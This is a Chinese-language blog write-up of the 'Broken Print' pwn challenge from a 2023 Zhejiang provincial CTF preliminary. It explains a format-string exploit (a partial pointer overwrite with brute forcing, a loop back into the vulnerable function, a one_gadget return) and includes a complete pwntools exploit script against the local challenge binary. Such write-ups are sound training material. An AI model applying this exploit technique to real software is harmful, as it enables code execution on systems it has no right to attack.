浙江省赛2023预赛pwn部分题解

Posted by l0tus on 2023-11-04
Estimated Reading Time 2 Minutes
Words 500 In Total
Viewed Times

今年的省赛没有W4t3r了。
我和doddy、lierry以一教卖热狗这个古老而沉重的队名去打了。

应该是进决赛了。
pwn只会做一道,记录一下。

Broken Print

格式化字符串漏洞 过滤了p、x
泄露还可以用lld
栈上偏移为0x10位置的指针指向rbp,先在read的时候把这个值的末尾覆盖成记录返回地址的指针,也就是原本的+8,但不能直接做到+8,而是要通过hhn覆盖末一个字节,要爆破,1/16的概率。
在read覆盖完了之后再printf利用%c和%n将返回地址改成main里的call vuln,就可以实现再次输入,并泄露指向返回地址的指针(目标)。
理想效果如下:

第二次触发格式化字符串漏洞将目标篡改成ogg就可以。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/python3.7
# -*- encoding: utf-8 -*-
from pwn import*
context.log_level='debug'
context.arch = "amd64"

def exp():
p=process("./pwn")
elf=ELF("./pwn")
libc=ELF("./libc-2.31.so")

p.sendafter("Login:",b'a'*0x18)

libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym["_IO_2_1_stderr_"]

ogg=libc_base+0xe6af1
system=libc_base+libc.sym["system"]
puts_got=elf.got["puts"]

print("libc_base = ",hex(libc_base))
print("one_gadget = ",hex(ogg))
print("puts_got = ",hex(puts_got))

gdb.attach(p)

payload = f"%{0x90}c%{0x10 + 6}$hhn".encode()
payload += f"|%{0x10 + 6}$lld|%{0x11 + 6}$lld|".encode()
payload = payload.ljust(0x70, b"\x00")
payload += b"\x38"

p.sendafter("Content:",payload)

p.recvuntil(b"|")
stack_addr = int(p.recvuntil(b"|", drop=True))
start_addr = int(p.recvuntil(b"|", drop=True))

log.success(hex(stack_addr))
log.success(hex(start_addr))

payload2 = fmtstr_payload(8,{stack_addr: p64(ogg),},write_size="short",)


p.sendafter("Login:",b'a'*0x18)
p.sendafter("Content:",payload2)


p.interactive()

while True:
try:
exp()
except:
pass

'''
0xe6aee execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe6af1 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe6af4 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''

如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !